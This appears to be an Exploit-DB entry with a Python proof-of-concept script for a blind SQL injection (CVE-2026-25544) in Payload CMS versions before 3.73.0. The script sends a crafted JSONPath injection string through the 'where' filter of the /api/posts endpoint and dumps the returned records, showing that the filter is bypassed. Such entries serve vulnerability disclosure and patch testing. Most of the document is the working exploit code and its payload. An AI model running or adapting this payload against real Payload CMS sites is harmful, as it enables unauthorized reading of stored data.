Payload CMS 3.72.0 - Blind SQL Injection

EDB-ID:

52671




Platform:

Multiple

Date:

2026-09-01


# Exploit Title: Payload CMS 3.72.0 - Blind SQL Injection 
# Google Dork: N/A
# Date: 2026-08-01
# Exploit Author: cardosource
# Vendor Homepage: https://payloadcms.com/
# Software Link: https://github.com/payloadcms/payload
# Version: < 3.73.0
# Tested on: Docker - Node.js v24.18.1 (Recommended LTS) + Payload CMS 3.72.0 + PostgreSQL 15
# CVE: CVE-2026-25544
#
# Description:
# Payload CMS versions prior to 3.73.0 contain a Blind SQL Injection
# vulnerability when processing `where` filters on JSON or RichText
# fields using the Drizzle database adapters.
#
# This PoC demonstrates SQL injection through attacker-controlled JSON
# filter input affecting generated JSONPath expressions.
#


import requests
import json
from typing import Dict, Any, Optional


def fetch_posts() -> requests.Response:
    url: str = "http://localhost:3000/api/posts"
    filter_criteria: Dict[str, Dict[str, str]] = {
        "metadata.role": {
            "equals": 'x" || @ == @ || @ == "'
        }
    }
    
    params: Dict[str, Any] = {
        "where": json.dumps(filter_criteria),
        "limit": 100,
        "depth": 0,
    }
    return requests.get(url, params=params, timeout=15)

def display_status(response: requests.Response) -> None:
    print("status:", response.status_code)
    print("content-type:", response.headers.get("content-type"))
    print()

def display_content(response: requests.Response) -> None:
    try:
        data: Dict[str, Any] = response.json()
        print("totalDocs:", data.get("totalDocs"))
        print("docs:", len(data.get("docs", [])))
        print()
        print(json.dumps(data, indent=2, ensure_ascii=False)[:4000])
    except Exception as error:
        print("not JSON:", error)
        print(response.text[:1000])

def main() -> None:
    response: requests.Response = fetch_posts()
    display_status(response)
    display_content(response)


if __name__ == "__main__":
    main()